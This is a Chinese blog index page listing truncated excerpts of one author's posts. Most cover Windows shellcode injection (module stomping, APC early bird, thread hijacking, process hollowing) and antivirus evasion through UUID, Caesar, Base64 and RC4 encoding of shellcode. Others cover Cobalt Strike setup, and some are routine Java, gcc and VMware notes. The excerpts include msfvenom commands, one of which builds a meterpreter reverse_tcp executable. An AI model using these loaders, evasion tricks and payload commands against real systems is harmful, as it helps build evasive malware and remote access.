摘要:        
Module Stomping注入 Module Stomping(又称为Module Overloading,又称为DLL Hollowing)技术 工作原理:将一些正常DLL注入到目标进程中,寻找 AddressOfEntryPoint,并使用Shellcode覆盖AddressOfEntryP    
阅读全文
 
        
        posted @ 2023-01-03 22:45
瑞皇
阅读(567)
推荐(0)
        
            
        
        
摘要:        
APC Early Bird注入 1、创建傀儡进程 2、申请一段内存空间,写入Shellcode 3、QueueUserAPC添加APC队列 4、ResumeThread激活进程 #include <Windows.h> int main() { unsigned char buf[] = { 0x    
阅读全文
 
        
        posted @ 2023-01-03 21:32
瑞皇
阅读(199)
推荐(0)
        
            
        
        
摘要:        
Thread Hijacking注入 通过线程劫持,注入远程进程 1、通过PID打开目标进程,并申请一段空间,写入shellcode 2、拍摄快照,遍历进程,打开ID 3、挂起该进程,保存线程变量,设置上下文为我们希望执行的Shellcode,恢复线程变量 4、ResumeThread激活程序继续执    
阅读全文
 
        
        posted @ 2023-01-03 21:02
瑞皇
阅读(275)
推荐(0)
        
            
        
        
摘要:        
ProceHolling傀儡进程注入 1、CreateProcess创建傀儡进程 2、UnmapViewOfSection卸载傀儡进程的内存映射 3、CreateFile+ReadFile读取进程2 4、WriteProcessMemory将HEADER、区块、ImageBase进行替换 5、Set    
阅读全文
 
        
        posted @ 2023-01-03 20:37
瑞皇
阅读(254)
推荐(0)
        
 
		
    
        
        
摘要:        
远程线程注入 生成一段Shellcode,用于弹出计算器,若注入成功,则弹出成功。 MSF命令如下: 弹出计算器CALC msfvenom -p windows/exec cmd=calc.exe -f raw -o shellcode.bin 弹出CMD msfvenom -p windows/e    
阅读全文
 
        
        posted @ 2022-12-31 21:15
瑞皇
阅读(565)
推荐(0)
        
            
        
        
摘要:        
映像劫持,自动打开OD调试新进程 第一步:进入注册表项 计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options 第二步:新建项 名字为新进程名字,带exe,如ab    
阅读全文
 
        
        posted @ 2022-12-31 17:26
瑞皇
阅读(185)
推荐(0)
        
            
        
        
摘要:        
VMware Win7 这里有个坑,在安装VMtools的时候,是失败的,我原来以为是镜像的问题,Windows 7镜像版本如果比较低,是安装不了VMtools的。在尝试更换高版本Windows 7后,我发现不是版本的问题,而是VMware16的问题。以前用的VMware15,没有碰到这个问题。微软    
阅读全文
 
        
        posted @ 2022-12-31 17:25
瑞皇
阅读(815)
推荐(0)
        
            
        
        
摘要:        
Windows Java配置 1、JAVA_HOME JAVA_HOME C:\Program Files\Java\jdk1.8.0_281 2、CLASSPATH CLASSPATH .;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar; 3、pa    
阅读全文
 
        
        posted @ 2022-12-31 17:23
瑞皇
阅读(42)
推荐(0)
        
            
        
        
摘要:        
Windows gcc安装教程 1、下载MinGW https://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download 2、安装 点击继续一直下一步 下载完后会打开一个界面叫 MinGW Instal    
阅读全文
 
        
        posted @ 2022-12-31 17:23
瑞皇
阅读(229)
推荐(0)
        
            
        
        
摘要:        
注册表 注册表逻辑结构 HKEY_USER 存放本地计算机口令列表的用户标识和密码列表。存放每个用户的预配置信息。 HKEY_CURRENT_USER 存放的当前登录的用户信息,包括用户登录名和暂存的密码。 HKEY_CURRENT_CONFIG 存放定义当前用户的琢磨配置数据,最后使用的文档列表和    
阅读全文
 
        
        posted @ 2022-12-31 17:19
瑞皇
阅读(250)
推荐(0)
        
            
        
        
摘要:        
生成UUID的Python脚本: import uuid shellcode=b"" list = [] for i in range(50): bytes_a = shellcode[i * 16: 16 + i * 16] b = uuid.UUID(bytes_le=bytes_a) list    
阅读全文
 
        
        posted @ 2022-12-31 15:45
瑞皇
阅读(150)
推荐(0)
        
            
        
        
摘要:        
Shellcode生成器: buf是CS生成的Shellcode #include "Caesar.h" #include "Base64.h" #include "RC4.h" int main() { unsigned char buf[] = "" unsigned char* buf1; i    
阅读全文
 
        
        posted @ 2022-12-31 15:34
瑞皇
阅读(223)
推荐(0)
        
            
        
        
摘要:        
MSF生成EXE: msfvenom -p 有效载荷 -f 输出格式 -o 输出文件 msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe MSF生成Shellcode: msfvenom -a 系统架构 --platfo    
阅读全文
 
        
        posted @ 2022-12-31 15:30
瑞皇
阅读(292)
推荐(0)
        
            
        
        
摘要:        
安全测试中,将一台虚拟机作为服务器,同时也可以作为客户机。 1、将服务器打开 ./teamserver 192.168.204.148 kali 2、启动客户端 中文插件打开: java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:    
阅读全文
 
        
        posted @ 2022-12-31 14:46
瑞皇
阅读(74)
推荐(0)
        
            
        
        
摘要:        
通过数据表替换,将6位拓展为8位,进行替换,总长度增加1/3。 #pragma once #include<stdio.h> #include<stdlib.h> #include <string.h> unsigned char* Base64_Encode(unsigned char* strI    
阅读全文
 
        
        posted @ 2022-12-31 14:28
瑞皇
阅读(28)
推荐(0)
        
            
        
        
摘要:        
对称加密方法RC4 通过置换和流加密处理进行加密。 #pragma once #include<stdio.h> /* RC4初始化函数 */ void RC4_Init(unsigned char* s, unsigned char* key, unsigned long Len_k) { int    
阅读全文
 
        
        posted @ 2022-12-31 14:26
瑞皇
阅读(55)
推荐(0)
        
            
        
        
摘要:        
古典加密方案,通过对字符简单的增加x,来进行加密。 免杀使用的时候,顺手可以加个亦或进去,增加点复杂度。 #pragma once #include<stdio.h> void Caesar_Encryption(unsigned char *strInput,int nLength, int nO    
阅读全文
 
        
        posted @ 2022-12-31 14:22
瑞皇
阅读(81)
推荐(0)
        
            
        
        
摘要:        
通过使用直接加载的方式来加载shellcode,是最初始的免杀手段。 不过随着对抗的加剧,该方法现在已经不再实用。 #include <stdio.h> #include <stdlib.h> #pragma comment( linker, "/subsystem:\"windows\" /ent    
阅读全文
 
        
        posted @ 2022-12-31 14:18
瑞皇
阅读(38)
推荐(0)